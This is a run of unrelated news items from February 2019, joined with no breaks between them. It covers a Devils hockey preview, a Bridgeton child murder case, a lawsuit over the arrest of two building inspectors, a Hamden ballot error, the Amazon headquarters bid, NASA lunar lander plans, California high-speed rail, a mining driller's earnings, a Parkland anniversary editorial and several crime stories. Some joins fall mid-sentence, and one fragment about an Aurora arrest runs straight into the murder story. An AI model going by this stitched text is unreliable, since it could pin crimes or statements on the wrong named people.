Forward Blake Coleman was a late scratch due to an upper body injury. Agostino will play his first game with the Devils.

Join NJ.com's live chat in the comment section, and follow along with live updates in the box above.

Here is everything you need to know about the home game:

What: New Jersey Devils (21-26-8) vs. St. Louis Blues (27-22-5)

When: 8 p.m. EST, Tuesday, Feb. 12, 2019

Where: Enterprise Center, St. Louis, Missouri

TV: MSG+

Live stream: MSG GoMustadin Muadinov, of the 8500 block of Rascher Avenue, is in custody at the Aurora Police Department and has been charged with disorderly conduct.On Facebook, it was all smiles. She shared happy photos of her kids and cheery messages to go along with them.

Last week, though, authorities allege she beat one of them because he would not eat or listen, and then burned and dismembered the little boy, Daniel, and stuffed his body under a shed out back.

Commenters on her Facebook page are now puzzled with the allegations against Nakira M. Griner, asking how she could have done it, and leaving their anger a few words at a time.

The 24-year-old mom turned murder suspect is scheduled to make her first appearance in court Thursday.

Not much is publicly known about the Bridgeton resident, but on Facebook, she enjoyed a loving relationship with her husband and two children in the Cumberland County town.

Her timeline is peppered with photos of her children and Griners expressions of love for them.

In one photo of her two sons, she includes the caption,  And I thank them for choosing me to come through unto life to be a beautiful reflection of OUR LOVE.

How is he this handsome? Griner said in another photo of one child.

Happy Birthday to my adoring husband, she posted three months ago.

Other photos show her as a typical 20-something, posing solo for the camera.

That happy social media image was shattered with her weekend arrest.

This was the final post on Nakira Griner's Facebook page.

Griner is sitting in a Cumberland County Jail cell on charges that she killed her 23-month-old child, Daniel Griner Jr., then claimed he had been abducted. Police found burned and dismembered remains buried under a shed at the Griners Bridgeton home early Saturday morning.

Shes charged with first-degree murder, endangering the welfare of a child, desecration of human remains and tampering with evidence.

Based on a review of court records, this arrest marks Griners first encounter with the criminal justice system.

Originally from Vineland, Nakira James married her husband in 2017. They had dated since 2013, according to another Facebook entry.

Daniel Griner Sr. is a registered nurse, according to friends, who describe him as a hard worker and a devoted father.

A co-worker launched a GoFundMe campaign to help him make ends meet. As support for that fundraiser has grown, the goal has been increased from $2,500 to $7,500. More than $5,600 had been collected as of Tuesday afternoon.

I set up this account to help him with accrued expenses as well as for the care of his other son, organizer Heather Wooton wrote. Every little penny counts. Reach deep into your pockets and if you can't donate please send a prayer for this man.

Another co-worker at Inspira Health Network who asked to remain anonymous said Griners colleagues are grieving, but are heartened by the outpouring of support.

He is nothing but a great colleague and wonderful nurse at the bedside, the co-worker said.

A day after court documents revealed the grisly allegations against his wife, officials released additional details about Griners claim that she was assaulted.

In a series of 911 calls, Griner can be heard hysterically reporting that she was attacked Friday night.

She told police she was walking to a store with her infant child strapped to her chest and Daniel in a stroller when someone knocked her to the ground and fled with Daniel and the stroller.

Her alleged attacker didnt demand money and didnt take a $5,000 ring she was wearing, Griner told police.

She failed a polygraph test and eventually told police she struck Daniel because he would not eat nor listen to her, according to a criminal complaint. She admitted striking the child so hard that it left bruises on his face and also claimed he fell down a flight of stairs.

Details of how the child died and when have not been made public.

6 Memorial outside home of Daniel Griner, Jr.

As some are taking to social media to support Daniel Griner Sr., others are taking to his wifes Facebook page to vent their rage over her alleged actions. Like graffiti on a wall, her page is now littered with hate-filled comments and slurs.

Several pounced on a meme she shared last week that states, Slavery was legal. Segregation was legal. War is legal. Never use legality as a guide to morality.

Morality? What does she know about morality  child murderer, one responded.

Matt Gray may be reached at mgray@njadvancemedia.com. Follow him on Twitter @MattGraySJT. Find NJ.com on Facebook. Have a tip? Tell us: nj.com/tips. Get the latest updates right in your inbox. Subscribe to NJ.coms newsletters.Two building inspectors from Camden who were working in Mount Laurel Township were harassed, assaulted and arrested when a trooper and a local cop didnt believe they were really inspectors, according to a lawsuit.

Vance Bowman and Sol Diaz sued in federal court Friday, saying they were at Greenwood Apartments Feb. 11, 2017 doing building inspection work to assist Mount Laurel Township at the request of the Division of Community Affairs.

A woman who lived at the complex called her brother, identified only as New Jersey State Trooper Rinaldi, on the two inspectors around 11 a.m., the suit said. It did not say offer an explanation for why she called the trooper.

The lawsuit said a Mount Laurel police officer responded and arrested them on trumped up charges of trespassing and showing improper or fake state inspection identification cards  even though the cards were actually legitimate.

The suit names the officer as C. McElroy, but state pension records show his full name is Christopher McElroy. State Police did not respond to a request for Trooper Rinaldis first name.

McElroy called Bowman a thief and assaulted him during the arrest, leaving him with neck and shoulder injuries, the suit said. When Bowman asked to call a township construction official who could vouch for their work at the complex, the suit said, McElroy lied and claimed he spoke to the official and he never heard of Plaintiff and had no idea who he was.

Diaz was verbally abused when she was arrested as well, the suit said.

The suit names as defendants McElroy, Rinaldi, State Police and the Mount Laurel force. It claims the defendants were negligent and violated the pairs civil rights by failing to investigate the situation properly, using excessive force, falsely imprisoning them, and violating policies regarding arrests.

The suit says Bowman suffered permanent injuries, and both plaintiffs incurred medical and legal costs and suffered mental anguish and humiliation. The plaintiffs attorneys at Saffren & Weinberg in Jenkintown, Pennsylvania did not return requests for comment.

Representatives for the states Division of Law, which will defend State Police in the suit, and Mount Laurel Township, declined to comment on the arrests and the lawsuit when contacted Tuesday.

Rebecca Everett may be reached at reverett@njadvancemedia.com. Follow her on Twitter @rebeccajeverett. Find NJ.com on Facebook.

Have a tip? Tell us. nj.com/tips

Get the latest updates right in your inbox. Subscribe to NJ.coms newsletters.Mayor Curt Leng is starting his own inquiry into Hamden election procedures after Hearst Connecticut Media revealed that voters on a section of Paradise Avenue were issued the wrong ballots in state elections from 2012 to 2018.

Certainly, I would like all eligible persons to be able to exercise their right to vote, Leng said in a written statement Wednesday. I am reviewing these issues with the Towns legal advisers, Registrars Office, and State of Connecticut to determine what, if any, resolutions must occur to ensure all eligible voters are effectively processed and accounted for in Hamden.

For up-to-date information on public policy issues, sign up for the CT Politics newsletter.

Between 2012 and 2018, according voters at about 25 addresses along a one-mile section of Paradise Avenue received ballots in the 11th Senate District, when in fact state maps place their street in the 17th Senate District.

Emails obtained by Hearst Connecticut Media show the Secretary of the States office working out the problem with a local registrar this winter after voters notified a candidate of the error. But the affected voters have yet to be officially notified of the error.

Secretary of the State Denise Merrill said Tuesday she will send a complaint to the State Elections Enforcement Commission regarding the botched ballots, requesting an investigation.

Frank LaDore, chairman of the Hamden Republican Town Committee, said Wednesday he believes Paradise Avenue residents should be notified. He suggested a posted sign in their polling place in the next election. But he said he was not worried about widespread election mistakes in Hamden.

More News News Election glitch uncovers long-standing error in Hamden

Our goal is to have honest and accurate elections, and now that it has been detected, I am confident that our registrar will make the necessary corrections for elections going forward, LaDore said.

The error was caused by a mistake in the street list created years ago by the Hamden Registrars of Voters office. Poll workers use the street list on Election Day to distribute ballots.

The mistake denied Paradise Avenue voters the opportunity to vote for the candidates who would represent them.

Hamden Republican Registrar Anthony Esposito said the error was corrected, after it was brought to his attention by Secretary of the State officials in mid-January. Leng did not respond to questions about when he first learned of this issue.

Obviously a mistake was made somewhere, said Lou Panzo, chair of the Hamden Democratic Town Committee. You can learn from errors that are made and this is a good example.

Staff Writer Ben Lambert contributed to this report.

emunson@hearstmediact.com; Twitter: @emiliemunsonPHOTOS These are the 50 most caring cities in America

To be caring means to show concern for others or to be kind to them. Care can be expressed in many different ways, so WalletHub took a look at some of the most populated cities in America and ranked each according to caring for the community, caring for the vulnerable and working in caring industries. (Diamond Bridges, The Active Times)The states would-be bid to snatch Amazons faltering New York headquarters and 25,000 employees remains a work in progress with U.S. Rep. Jim Himes, D-4th District, joining the fray.

Himes sent a letter to a top Amazon site planner this week, saying if the company reconsiders its choice of Queens, across the East River from Manhattan, it should look to Stamford, Norwalk and Bridgeport.

New York elected officials are divided over whether Amazons massive proposal, chosen along with Alexandria, Virginia as a joint East Coast headquarters, is worth the headaches: added congestion, higher apartment rents that would force out middle-class residents and city and state subsidies worth as much as $3 billion over the decades.

Stay informed! Subscribe to Hearsts CTPolitics newsletter.

I hope you will consider my region, and Connecticut in particular, as a possible welcoming and enthusiastic host to your remarkable company, Himes wrote in a letter Tuesday to Holly Sullivan, director of worldwide economic development for Amazon.

In the wake of reports that Amazon has second thoughts at the altar in New York, including a Washington Post story Friday, it appears Connecticut is aiming to speak to Amazon with one voice, as Himes letter suggests. Thats in contrast to the two official bids from the state  Stamford and Hartford  and four wildcat Connecticut bids in the nationwide competition that ended last year.

Stamford makes far and away the most sense since it has available, Class-A office space and is closest to New York, where Amazon obviously wants to be. Joe McGee, vice president of the Business Council of Fairfield County, said Friday hes thinking about a two-state solution including Stamford and the Bronx, if the Queens deal falls through.

Himes spelled out the selling points for Connecticut  the educated workforce, location near New York, quality of life and access to airports. That last one is a sticky issue for Connecticuts Fairfield coast, as the region would need to patch together commuter service to New Yorks LaGuardia along with expanded routes at Westchester and Tweed New Haven airports.

In general, our costs and tax rates are lower than those of New York City, Himes continued, offering a comparison that Connecticut gains against almost noplace else.

Himes offered to introduce Sullivan to my old friend, Governor Ned Lamont, and to the mayors of these three cities.

Lamont hasnt spelled out details of a plan, nor said whether hes spoken with Amazon. He tweeted Friday that he and his top corporate recruitment folks, including the recently retired PepsiCo CEO Indra Nooyi, are all over the case.

dhaar@hearstmediact.comNASA is planning for the launch of the first Human [Lunar] Lander demonstration mission in 2024. The minimum objective of this mission is to demonstrate a lunar surface landing from the Gateway with a Descent Element capable of supporting a future human lander that includes both a Descent Element and an Ascent Element.

There is still the billions in waste for the Lunar Gateway. However, SpaceX and others can bid to create a large lunar lander and rovers.

The Lunar Gateway would be a Mir sized space station in orbit around the moon. If there is a requirement to go to the Gateway before going to the moon then it would add a 30% cargo penalty to sending missions to the surface of the moon.

It would take four launches of the unbuilt Space Launch System or the unbuilt SpaceX Super Heavy Starship to build the Lunar Gateway. It could also be built with 20 Falcon 9 launches or the equivalent of twenty space shuttle launches.

The opportunity cost of the Lunar Gateway is twenty different interplanetary missions.

NASA and space business-as-usual will waste $100+ billion on the Lunar Gateway and Space Launch System. However, it is possible that SpaceX could win the lunar lander contract and displace Space Launch System with the SpaceX Super Heavy Starship. This would enable more to be done in space and on the moon with less wasted money.

Government will waste money but we can hope to have less waste and more results.

NASA plans to launch the second demonstration mission in 2026. The objectives of this mission are to

demonstrate:

 Docking or berthing of the Ascent Element to the Gateway to support transfer of crew from Orion in a future mission

 Aggregation of Descent, Ascent, and Transfer Vehicle Elements at Gateway

 Transfer of the aggregated Elements to Low Lunar Orbit (LLO)

 Lunar surface landing of the aggregated Descent and Ascent Elements

 Return of the Ascent Element to Gateway, including docking or berthing

 Return of the Transfer Vehicle to Gateway

NASA plans to launch the third demonstration mission in 2028. The objectives of this mission include those of the 2026 mission, as well as demonstrating:

 Refueling and Reusability of the 2026 Transfer Vehicle and Ascent Elements

 Transfer of Crew to and from the Ascent Element at Gateway

 Lunar surface extra-vehicular activity (EVA)

SOURCES- FBO, NASA

Written By Brian Wang.Newsom said California will complete a 110-mile (177 km) high-speed rail link between Merced and Bakersfield. This would not meet the requirements of the original bond measure.

California had originally planned to build a 520-mile system in the first phase that would allow trains to travel at speeds of up to 220 miles per hour in the traffic-choked state from Los Angeles to San Francisco and begin full operations by 2033. Newsom said he would not give up entirely on the effort.

Newsom also announced that the San Joaquin-Sacramento River Delta twin tunnels project to one tunnel.

Nextbigfuture had predicted in December, 2018 that Governor Newsom would walk away from the High-Speed Rail project. The announcement is abandoning 80% of the project. 400 miles of the old 520-mile plan will not be built.

It will cost another $1.6 billion to complete the Central Valley segment. The cost for the initial 119-mile stretch of track will be $10.6 billion $12.2 billion. This is about double the original $6 billion estimates.

California will spend $1.6 billion so they do not have to return $3.5 billion to the federal government. They will need to complete the Central Valley section by the end of 2022.

On January 28, 2010, the White House announced that California would receive $2.35 billion of its request, of which $2.25 billion was allocated specifically for California High-Speed Rail, while the rest was designated for conventional rail improvements. On October 28, 2010, the federal government awarded $715 million specifically for the high-speed rail project for the Central Valley segments from Merced to Fresno or Fresno-to-Bakersfield.

How Can They Keep the $7.5 Billion Bond Money?

There are legal issues around the $7.5 billion Proposition 1A bond measure.

The bond measure had legal requirements:

(1) Can the train travel from Los Angeles (Union Station) to San Francisco (Transbay Terminal) in two hours and 40 minutes?

(2) Will the train require an operational subsidy?

(3) Does the new blended system approach meet the definition of high-speed rail in Proposition 1A?

The 110 or 120-mile segment will not allow any train to travel from Los Angeles to San Francisco in two hours and 40 minutes. There is no way anything can operate on that line without an operational subsidy.

Newsom Plans Means California Keeps the $3.5 Billion Federal Money and Gets a Nearly Useless Rail Line

California can spend $1.6 billion or so and finish the short line. They will keep the $3.5 billion in federal money. There will be a nearly useless section of rail line that could be mixed in with regular rail service. It will be an overpriced section of conventional rail.

There will be a legal battle over the $7.5 billion bond money. It will not matter much to California what happens with the $7.5 billion. The state has a $209 billion per year budget. $7.5 billion will move from one pocket to another to cover the shortfall if the legal battles resulted in a loss of the $7.5 billion.

SOURCES  California Audit Report, Reuters, Wikipedia

Written by Brian Wang.Bill and Melinda Gates provided their 2019 annual report and describe how they can make the world better over the next few decades.

Africa Can Be Fixed and Provide Growth for the World

Sub-Saharan Africa has the opportunity to invest in its young people. This will enable Africa to double its share of the global labor force by 2050, unlocking a better life for hundreds of millions of people. Health and education are the twin engines of economic growth.

Premature Births Can Be Prevented With DNA Tests

Fifteen million babies are born premature every year, making it the leading cause of death in children under age five.

By looking at more than 40,000 samples voluntarily submitted by 23andMe users, scientists discovered a potential link between preterm labor and six genesincluding one that regulates how the body uses a mineral called selenium.

Preterm birth affects mothers in every part of the worldalthough some groups experience it at a higher rate and premature babies in low-income countries are much more likely to die than ones in richer countries.

Researchers wont know until later this year how exactly the mineral affects preterm birth risk. But if the link proves substantial, selenium could one day be a cheap and easy solution to help women extend their pregnancy to full term.

World Will Have Twice as Many Buildings by 2060

Urban population will continue to grow in the coming decades and the worlds building stock is expected to double by 2060. This is like adding another New York City monthly between now and then. Thats a lot of cement and steel. We need to find a way to make it all without worsening climate change.

The Gates believe need breakthrough inventions in each area of the economy. They think we need to get to near-zero emissions on all the things that drive itagriculture, electricity, manufacturing, transportation, and buildings. Bill calls these five areas the grand challenges in climate change.

Next Generation Toilets

Nearly eight years ago, Gates challenged engineers and scientists around the world to reinvent the toilet. More than 2 billion people around the world lack access to a decent toilet. Their waste often ends up in the environment, untreated, killing nearly 800 children every day. And exporting rich-world sanitation solutions isnt an option, because they require sewer systems that are too expensive to build and need a lot of water.

Several next-generation companies are business-ready. Their inventions check almost all the boxes: They kill pathogens, can keep pace with the needs of fast-growing urban areas, and dont require sewer infrastructure, external water sources, or continuous electricity to operate. The only area where they currently fall short is costwhich is why our foundation is investing in more R&D to help make them affordable for the poor.VAL-D'OR, QC, Feb. 13, 2019 /CNW/ - Orbit Garant Drilling Inc. (TSX: OGD) ("Orbit Garant" or the "Company") today announced its financial results for the three and six-month periods ended December 31, 2018. All dollar amounts are in Canadian dollars unless otherwise stated. Percentage calculations are based on numbers in the financial statements and may not correspond to rounded figures presented in this news release.

Financial Summary

($ amounts in millions, except per share amounts) Three months ended Dec. 31 2018 Three months ended Dec. 31, 2017 Six months ended Dec. 31, 2018 Six months ended Dec. 31, 2017 Revenue $33.7 $43.0 $71.0 $85.5 Gross Profit $2.9 $5.1 $8.5 $11.8 Gross Margin (%) 8.6 11.7 12.0 13.8 Adjusted Gross Margin (%)1 15.2 16.3 17.9 18.4 EBITDA2 $0.9 $3.3 $4.3 $8.3 Net earnings (loss) $(1.7) $0.8 $(1.3) $2.5 Net earnings (loss) per share







- Basic and diluted $(0.04) $0.02 $(0.03) $0.07 Total metres drilled 311,318 371,161 627,363 775,423



1 Adjusted Gross Margin is a non-IFRS financial measure and is defined as Gross Profit excluding depreciation expenses. See "Reconciliation of Non-IFRS financial measures". 2 EBITDA is a non-IFRS financial measure and is defined as earnings before interest, taxes, depreciation, and amortization. See "Reconciliation of Non-IFRS financial measures".

"Our decline in revenue and metres drilled for the quarter reflects lower drilling activity in both Canada and Chile compared to the same quarter last year, which was a record second quarter in both revenue and metres drilled. This past quarter still represents our second highest revenue total for this three-month period in company history. With the recent rapid expansion of our global operations, our margins are more impacted by the slowdown in drilling activity. Our profitability for the quarter was also impacted by costs related to our acquisition in Burkina Faso," said Eric Alexandre, President & CEO of Orbit Garant.

"We're pleased with the early results of the Burkina Faso acquisition, with drill deployment up from seven at the time of acquisition to 12 at quarter-end. Looking more broadly at our business, with global gold and base metal reserves of mining companies continuing to be depleted, we expect mineral exploration spending to increase in order to address this decline. With our expanded international presence and our strong position in Canada, we are increasingly well positioned to capitalize on market opportunities as they arise," added Mr. Alexandre.

Second Quarter Results

Revenue for the three-month period ended December 31, 2018 ("Q2 FY2019") totalled $33.7 million, compared to $43.0 million for the three-month period ended December 31, 2017 ("Q2 FY2018"). Drilling Canada revenue was $23.6 million, compared to $28.3 million in Q2 FY2018, reflecting a decline in metres drilled during the quarter, partially offset by an increase in average revenue per metre drilled. Drilling International revenue was $10.1 million, compared to $14.7 million in Q2 FY2018. The decline in international revenue is primarily attributable to the conclusion of a large drilling contract in Chile, partially offset by increased drilling activity in Burkina Faso.

Orbit Garant's fleet drilled a total of 311,318 metres in the quarter, compared to 371,161 metres drilled in the very strong Q2 FY2018 period. Consolidated average revenue per metre drilled decreased 6.7% to $107.85 compared to $115.64 in Q2 FY2018. The decline in consolidated average revenue per metre drilled is primarily attributable to a lower proportion of specialized drilling in international markets in the quarter, partially offset by higher prices on drilling contracts in Canada.

Gross profit and gross margin for Q2 FY2019 were $2.9 million and 8.6%, respectively, compared to $5.1 million and 11.7%, respectively, in Q2 FY2018. Depreciation expenses totalling $2.2 million are included in cost of contract revenue for Q2 FY2019 compared $2.0 million in Q2 FY2018. Adjusted gross margin, excluding depreciation expenses, was 15.2% in Q2 FY2019, compared to 16.3% in Q2 FY2018. The decrease in gross profit and margins was primarily attributable to lower drilling volumes in Canada, partially offset by higher gross profit and margins on international contracts.

General and administrative (G&A) expenses were $4.8 million (representing 14.4% of revenue) in Q2 FY2019, compared to $4.3 million (representing 10.0% of revenue) in Q2 FY2018. Increased G&A expenses are primarily attributable to $0.7 million of acquisition and integration costs related to the Company's acquisition of the drilling business of Projet Production International BF S.A. ("PPI") in Burkina Faso during Q2 FY2019.

Earnings before interest, taxes, depreciation and amortization ("EBITDA") totalled $0.9 million in Q2 FY2019, compared to $3.3 million in Q2 FY2018.

The Company's net loss for Q2 FY2019 was $1.7 million, or $0.04 per share, compared to net earnings of $0.8 million, or $0.02 per share, in Q2 FY2018. Lower gross profit and margins, as discussed above, and costs related to the acquisition of PPI contributed to the Company's net loss for Q2 FY2019.

During Q2 FY2019, Orbit Garant generated $7.6 million from financing activities compared to $5.5 million in Q2 FY2018. The Company drew down a net amount of $7.1 million during Q2 FY2019 on its secured, three-year revolving credit facility (the "Credit Facility"), compared to $1.4 million in Q2 FY2018, largely due to the financing impact of the PPI acquisition. As at December 31, 2018, the Company had $27.1 million drawn under the Credit Facility, compared to $18.1 million as at June 30, 2018.

As at December 31, 2018, Orbit Garant had working capital of $57.1 million ($53.3 million as at June 30, 2018), and 37,008,756 common shares issued and outstanding.

Orbit Garant's unaudited interim condensed consolidated financial statements and management's discussion and analysis for the three and six-month periods ended December 31, 2018 are available on the Company's website at www.orbitgarant.com or SEDAR at www.sedar.com.

Conference call

Eric Alexandre, President and CEO, and Alain Laplante, Vice President and CFO, will host a conference call for analysts and investors on Thursday, February 14, 2019 at 10:00 a.m. (ET). The dial-in numbers for the conference call are 416-764-8609 or 1-888-390-0605. A live webcast of the call will be available on Orbit Garant's website at: http://www.orbitgarant.com/en/sites/fog/investors.aspx. The webcast will be archived following conclusion of the call.

To access a replay of the conference call dial 416-764-8677 or 1-888-390-0541, passcode: 490114 #. The replay will be available until February 21, 2019.

RECONCILIATION OF NON - IFRS FINANCIAL MEASURES



Financial data has been prepared in conformity with IFRS. However, certain measures used in this discussion and analysis do not have any standardized meaning under IFRS and could be calculated differently by other companies. The Company believes that certain non-IFRS financial measures, when presented in conjunction with comparable IFRS financial measures, are useful to investors and other readers because the information is an appropriate measure to evaluate the Company's operating performance. Internally, the Company uses this non-IFRS financial information as an indicator of business performance. These measures are provided for information purposes, in addition to, and not as a substitute for, measures of financial performance prepared in accordance with IFRS.

EBITDA: Net earnings (loss) before interest, taxes, depreciation and amortization.



Adjusted gross margin: Contract revenue less operating costs. Operating expenses comprise material and service expenses, personnel expenses, other operating expenses, excluding depreciation.

EBITDA

Management believes that EBITDA is an important measure when analyzing its operating profitability, as it removes the impact of financing costs, certain non-cash items and income taxes. As a result, Management considers it a useful and comparable benchmark for evaluating the Company's performance, as companies rarely have the same capital and financing structure.

Reconciliation of EBITDA

(unaudited) (in millions of dollars) 3 months ended December 31, 2018 3 months ended December 31, 2017 6 months ended December 31, 2018 6 months ended December 31, 2017 Net earnings (net loss) for the period (1.7) 0.8 (1.3) 2.5 Add:







Finance costs 0.5 0.5 0.9 0.9 Income tax expense (0.4) (0.3) - 0.6 Depreciation and amortization 2.5 2.3 4.7 4.4 EBITDA 0.9 3.3 4.3 8.4

Adjusted Gross Margin

Although adjusted gross margin and margin are not recognized financial measures defined by IFRS, Management considers them to be important measures as they represent the Company's core profitability, without the impact of depreciation expense. As a result, Management believes they provide a useful and comparable benchmark for evaluating the Company's performance.

Reconciliation of Adjusted Gross Margin

(unaudited) (in millions of dollars) 3 months ended December 31, 2018 3 months ended December 31, 2017 6 months ended December 31, 2018 6 months ended December 31, 2017 Contract revenue 33.7 43.0 71.0 85.5 Cost of contract revenue (including depreciation) 30.8 38.0 62.5 73.7 Less depreciation (2.2) (2.0) (4.2) (3.9) Direct costs 28.6 36.0 58.3 69.8 Adjusted gross profit 5.1 7.0 12.7 15.7 Adjusted gross margin (%) (1) 15.2 16.3 17.9 18.4





(1) Adjusted gross profit, divided by contract revenue X 100

About Orbit Garant

Headquartered in Val-d'Or, Quebec, Orbit Garant is one of the largest Canadian-based mineral drilling companies, providing both underground and surface drilling services in Canada and internationally through its 236 drill rigs and more than 1,300 employees. Orbit Garant provides services to major, intermediate and junior mining companies, through each stage of mining exploration, development and production. The Company also provides geotechnical drilling services to mining or mineral exploration companies, engineering and environmental consultant firms, and government agencies. For more information, please visit the Company's website at www.orbitgarant.com.

Forward-looking information

This news release may contain forward-looking statements (within the meaning of applicable securities laws) relating to business of Orbit Garant Drilling Inc. (the "Company") and the environment in which it operates. Forward-looking statements are identified by words such as "believe", "anticipate", "expect", "intend", "plan", "will", "may" and other similar expressions. These statements are based on the Company's expectations, estimates, forecasts and projections. They are not guarantees of future performance and involve risks and uncertainties that are difficult to control or predict. These risks and uncertainties are discussed in the Company's regulatory filings available at www.sedar.com. There can be no assurance that forward-looking statements will prove to be accurate as actual outcomes and results may differ materially from those expressed in these forward-looking statements. Readers, therefore, should not place undue reliance on any such forward-looking statements. Further, a forward-looking statement speaks only as of the date on which such statement is made. The Company undertakes no obligation to publicly update any such statement or to reflect new information or the occurrence of future events or circumstances.

SOURCE Orbit Garant Drilling Inc.

For further information: Alain Laplante, Vice President and Chief Financial Officer, (819) 824-2707 ext. 122; Bruce Wigle, Investor Relations, (647) 496-7856

Related Links

www.orbitgarant.com

A day of love, will now  for as far as memory stretches  also be linked to a day of hate.

Only hate of the most monstrous proportions could have led to the shooting deaths of 17 students and faculty at the Marjory Stoneman Douglas High School in Parkland, Florida, on Valentines Day a year ago.

We in Connecticut know that too well from the crucible of the Sandy Hook Elementary School tragedy.

After the Parkland shootings, students channeled their anguish by organizing a March for Our Lives, joined by students from across the country, to draw attention to the desperate need for gun safety legislation. A national school walk-out in April organized by Ridgefield High School student Lane Murdock kept the momentum going.

Yet, Congress did nothing. And so the mass shootings continue; 138 in this country since Parkland, 37 this year alone, as of Feb. 13.

We in Connecticut realize change can be slow. If the murder of 20 first graders and six educators could not budge the majority of Congress, what could?

We say to the Parkland students, though, keep heart; stay strong. Stay involved.

Bills before Congress might finally come to a vote. One to expand background checks to every gun purchase  something more than 90 percent of Americans say in polls they want  could be raised for a vote, unlike other years.

This week Connecticuts Senators Richard Blumenthal and Chris Murphy joined U.S. Rep. Ted Deutch, whose Florida district includes Parkland, and other legislators to reintroduce the Keep Americans Safe Act that would ban gun magazines of more than 10 rounds of ammunition.

Large capacity magazines are used almost universally in mass shootings because of their ability to maximize casualties, the Florida congressman said. With the memory of those killed in Columbine, Newtown, Las Vegas, and Parkland in our hearts, we introduce this bill to make communities safer.

Some steps you can take:

Tell your members of Congress you demand a yes vote on magazine limits and universal background checks.

Speak out in support of gun safety bills before the Connecticut General Assembly, including a ban of ghost and 3-D printable guns that cannot be traced and safe storage of firearms.

Attend a vigil to honor the 17 students and educators who died at Parkland, and other victims of gun violence, on Feb. 14 from 7 to 9 p.m., at the First Church in Fairfield. The vigil, organized by CT Against Gun Violence, will also recognize the unprecedented accomplishments led by young people over the past year.

Encourage schools to join the free Say Something program offered by Sandy Hook Promise, which trains middle and high school students to recognize warning signs of gun violence and to get help from a trusted adult. Say Something Week will be Feb. 25 to March 1 in thousands of schools across the country.

To Parkland we send the message that resonated from Sandy Hook: We choose love.A Norwegian Cruise Line ship that left Port Canaveral in Florida on Saturday crashed into a dock Tuesday in Puerto Rico.

Tuesdays incident on the Norwegian Epic comes after guests complained Sunday and Monday on social media about missed stops and mechanical issues on board. The cruise had been scheduled to make stops in the British Virgin Islands on Tuesday and arrive in the U.S. Virgin Islands on Wednesday.

The ship was instead rerouted to Puerto Rico, where it crashed into a dock Tuesday.

Today as Norwegian Epic was maneuvering into Port of San Juan, Puerto Rico with a local pilot on board & the help of two tug boats, prevailing winds caused the ship to veer towards the pier, damaging two mooring points at Pier 3 East, the cruise line said in a series of tweets.

The cruise line said nobody was hurt and it is working with local authorities to assess the damage.NEW ROCHELLE, N.Y.  The sweet smell of incense wafted through the golden light of stained glass to the melodies of traditional mariachi music.

Grieving family members solemnly carried a small casket into the ornate church. With the help of clergy, they draped the coffin carrying the body of their beloved daughter, granddaughter, sister and niece in a white-and-gold embroidered cloth. A crowd of more than 500 joined in reciting Mexican hymns.

Espero la resurreccion de los muertos y la vida del mundo futuro, they prayed.

A day after an arrest was announced in her death, friends and family gathered at the funeral Mass to celebrate the life of Valerie Reyes, a 24-year-old New Rochelle woman was found dead last week inside a suitcase on the side of a road in Greenwich.

The Mass began under bright, sunny sky at 10 a.m. Wednesday at St. Gabriels Church in New Rochelle, the city where Reyes lived her whole life.

We want to thank you after these two weeks, Salvador Reyes, her father, said in Spanish. After so much pain and anguish ... theres been so much love in this community. (I) never thought it would be us that would be embraced like this by you. It shows were with our church.

During the ceremony, the casket rested under a mural of a flying dove painted on a baby blue wall, evoking the feeling of freedom Reyes friends said she prized.

The Rev. Benjamin Palacios told the mourners, We have to keep going forward united as we are today ... its a moment of forgiveness, conciliation and unity.

Palacios urged everyone in the church to continue to show their support for Reyes family after her tragic death.

Your presence here is telling them were here to help, he said. Show them we care for them, and were here to help.

Desiree Rodriguez, Reyes cousin, told Greenwich Time she and her family were devastated by the murder.

The slain womans maternal grandparents traveled from Michoacan, Mexico, for her funeral.

She was very happy, thats just how she was, a grief-stricken Jose Reyes, 73, said of his granddaughter.

After the Mass, mourners went to Greenwood Union Cemetery in Rye, N.Y., where Reyes was buried.

On Tuesday, her mother, Norma Sanchez, said she took solace knowing her daughters accused killer had been arrested.

It was a blessing that they caught him so fast, Sanchez said in an interview with Greenwich Time. Im hoping he gets life in prison  rot in there!

A weeklong search for the killer led police to Jackson Heights in Queens on Monday, where they arrested Javier Da Silva Rojas, an ex-boyfriend of Reyes. He was charged with a federal count of kidnapping resulting in death.

According to a spokesman for the U.S. Immigration and Customs Enforcement, da Silva entered the U.S. on May 8, 2017, but has over-stayed his visa and was not in the country legally. He is a citizen of Portugal and also held a passport from Venezuela, according to federal authorities.

Rob Marchant and Jo Kroeker contributed to this story.The legal counsel for Senate Republicans, who previously admitted to stealing tens of thousands of dollars from a political action committee he oversaw, was arrested Wednesday.

An investigation determined that from 2012 to 2018 Michael Cronin of West Hartford took approximately $267,800 from the PAC for his personal use, his arrest warrant states. The 56-year-old was charged with one count of larceny in the first degree.

Senate Republican Leader Len Fasano, R-North Haven, choked up when discussing Cronins actions on Wednesday.

He hurt a lot a lot people and I think he has to answer for that, Fasano said. As for prison time, he said, I think that definitely has to be on the table.

Cronin worked as a lawyer for the caucus for nearly 20 years and was promoted to chief counsel in 2018. Fasano described him as highly-respected and a friend to many at the Capitol. He was treasurer of the Senate Republican Leadership PAC from 2007 until 2018 when irregularities were detected.

Now Senate Republicans are suing Cronin to get back about $230,000 to $240,000, Fasano said Wednesday.

Cronin was fired by the Senate Republicans in December and turned himself in to the states attorney, after he could not explain unpaid bills and bounced checks to Fasano.

Mike has taken full responsibility for these issues, said Ross Garber, attorney for Cronin, on Wednesday. He has been cooperating with authorities and is committed to ensuring that all donor funds are accounted for and fully restored.

Cronin was released on a $50,000 non-surety bond and is scheduled to appear in Hartford Superior Court on Feb. 22. Larceny in the first degree is a class B felony punishable by not less than one year nor more than 20 years in prison, and a fine up to $15,000.

The case is being prosecuted by the Statewide Prosecution Bureau of the Chief States Attorneys Office.New Delhi:

President Donald Trump says that despite his unhappiness with a tentative agreement to prevent another partial government shutdown, he's "thrilled" about the direction of border wall construction. Earlier, Democrats and Republicans struck a deal in principle to fund the US government and avert another crippling government shutdown while denying President Donald Trump much of the USD 5.7 billion he demanded to build a controversial wall along the US-Mexico border. Donald Trump says the bottom line is that "we're building a lot of wall." Trump said he needs to look further at the agreement to avert the shutdown, which would grant far less than the USD 5.7 billion he wants for the wall.



ALSO READ | Mexican drug lord El Chapo convicted by New York jury, faces life in prison



Senate and House negotiators from both parties, who held a closed-door meeting in Washington, did not comment on the details of the deal, saying the staff is still working on last-minute logistics.

Sharp differences between Democrats and President Trump over border security and building a wall along the US-Mexico border resulted in a record partial government shutdown for more than 30 days. Building a wall along the US-Mexico border is a campaign promise of the 72-year-old Republican President.

